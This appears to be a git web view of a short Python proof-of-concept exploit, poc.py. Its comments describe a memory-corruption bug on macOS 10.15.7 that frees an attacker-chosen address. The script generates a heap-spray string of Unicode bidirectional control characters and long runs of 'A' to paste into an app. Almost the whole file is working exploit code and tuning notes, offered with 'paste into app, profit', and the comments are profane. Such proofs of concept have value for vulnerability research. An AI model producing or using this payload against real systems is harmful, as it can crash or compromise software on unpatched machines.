aboutsummaryrefslogtreecommitdiff
path: root/poc.py
blob: 581fbc9d5a92c1fef0011980e6d04fc0ec2fb16b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# python3 poc.py | pbcopy
# paste into app
# profit
#
# super stable PoC
# works about 10% of the time if you're lucky
#
# should free 0x1515151515151515
# it like sprays that in a similar location to the free list, and sometimes ends up freeing it
# for a more controlled free you might have to find each of the 256 values (i haven't yet), and substitute them
# example: 0x41 becomes 0x15, and 0xffff becomes 0x4
# so if you spray "\x41\x41\uffff\x41\uffff\uffff\uffff\uffff" it'll spray 0x1515041504040404, maybe something else because endianess but fuck you, whatever
# also there's like an offset of 0x2 or something
# i add "\uffff\uffff" at the start which seems to pad it for the address to work right
# it's vaguely functional, and should at least prove the bug exists
# note: this may have been patched in some big sur version (or 11.0 itself)
# run on 10.15.7, it's been tested there.

import sys

def lol(l2):
	s = ""
	a = ["\u202a", "\u202b", "\u202c", "\u202d", "\u202e", "\u202f"]
	b = []
	for i in a:
		for j in a:
			b += i + j
	for i in range(l2):
		s += b[i % (len(b))]
		c  = "\x41" * 0x8000
		if i == 6:
			s += c
		else:
			s += "\1"
	return s

print(lol(18))